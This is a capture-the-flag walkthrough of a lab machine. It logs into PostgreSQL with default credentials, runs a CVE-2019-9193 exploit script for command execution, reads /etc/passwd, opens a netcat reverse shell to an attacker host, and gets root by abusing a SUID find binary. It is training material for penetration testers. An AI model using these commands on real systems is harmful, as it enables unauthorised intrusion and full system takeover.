Machine Info#
Spoiler
This lab demonstrates exploiting a PostgreSQL server with default credentials and leveraging its misconfigured settings to gain a reverse shell. Learners will escalate privileges by abusing a misconfigured SUID find binary. The lab emphasizes database exploitation, remote command execution, and privilege escalation through SUID misconfigurations.
User#
Reconnaissance#
We are going to start by running our nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
Running second nmap scan with open ports: 21,22,80,5437
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-11 12:57 CET
Nmap scan report for $VICTIM
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA)
| 256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA)
|_ 256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Enter a title, displayed at the top of the window.
|_http-server-header: Apache/2.4.38 (Debian)
5437/tcp open postgresql PostgreSQL DB 11.3 - 11.9
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2020-04-27T15:41:47
|_Not valid after: 2030-04-25T15:41:47
|_ssl-date: TLS randomness does not represent time
|
We did run check the web service and also enumerated directories with ffuf but there was nothing to be found there.
Postgres#
We focused then on the Postgres database listening on port 5437. While looking up online first for the possible version that nmap scan showed we come across CVE-2019–9193 RCE exploit. Although this works only if we have credentials. So we are going to try few default ones and we manage to get access!
1
2
3
4
5
6
7
| └─$ psql -h $VICTIM -p 5437 -U postgres -W
Password:
psql (17.5 (Debian 17.5-1), server 11.7 (Debian 11.7-0+deb10u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off, ALPN: none)
Type "help" for help.
postgres=#
|
Postgres creds
postgres:postgres
We enumerated the database but we didn’t find anything else useful.
So, now we are going to use the exploit we found previously hoping that will work.
1
2
3
4
5
6
7
8
9
10
11
12
| └─$ python 50847.py -i $VICTIM -p 5437 -c whoami
[+] Connecting to PostgreSQL Database on $VICTIM:5437
[+] Connection to Database established
[+] Checking PostgreSQL version
[+] PostgreSQL 11.7 is likely vulnerable
[+] Creating table _dc56f7c4e6053e0f36300eaae02301b2
[+] Command executed
postgres
[+] Deleting table _dc56f7c4e6053e0f36300eaae02301b2
|
We achieved RCE!
We enumerate a bit more and then we are going to establish a reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| └─$ python 50847.py -i $VICTIM -p 5437 -c 'pwd;cat /etc/passwd;id'
[+] Connecting to PostgreSQL Database on $VICTIM:5437
[+] Connection to Database established
[+] Checking PostgreSQL version
[+] PostgreSQL 11.7 is likely vulnerable
[+] Creating table _f01e0f99e3cda26f0637b0419d9ba1ee
[+] Command executed
/var/lib/postgresql/11/main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
wilson:x:1000:1000:wilson,,,:/home/wilson:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:106:113:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
Debian-snmp:x:107:114::/var/lib/snmp:/bin/false
ftp:x:108:117:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
uid=106(postgres) gid=113(postgres) groups=113(postgres),112(ssl-cert)
|
For us port 4444 didn’t work so there must be an outbound block or an allowlist maybe. So we used port 80 and we were able to establish a reverse shell with out favorite netcat payload.
1
2
3
4
5
6
7
| └─$ python 50847.py -i $VICTIM -p 5437 -c 'busybox nc $ATTACKER 80 -e /bin/bash'
[+] Connecting to PostgreSQL Database on $VICTIM:5437
[+] Connection to Database established
[+] Checking PostgreSQL version
[+] PostgreSQL 11.7 is likely vulnerable
[+] Creating table _b96e1312012c79eb0bf2e667f0aa5ec5
|
1
2
3
4
5
6
| └─$ rlwrap nc -lnvp 80
listening on [any] 80 ...
connect to [$ATTACKER] from (UNKNOWN) [$VICTIM] 44688
python -c 'import pty;pty.spawn("/bin/bash")'
postgres@nibbles:/var/lib/postgresql/11/main$
|
That is how we get a shell and we can get the local.txt.
Root#
SUID Find#
While enumerating the host for privilege escalation vectors we come across find having the SUID bit enabled.
1
| -rwsr-xr-x 1 root root 309K Feb 16 2019 /usr/bin/find
|
TipWe could have found the above either by running linpeas or just manually enumerating SUID binaries with: find / -perm -u=s -type f 2>/dev/null.
This is pretty easily exploitable as we can see from
GTFOBins.
1
2
3
4
5
6
7
8
9
10
| postgres@nibbles:/$ find . -exec /bin/sh -p \; -quit
find . -exec /bin/sh -p \; -quit
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
proof.txt
|
This is how we get root.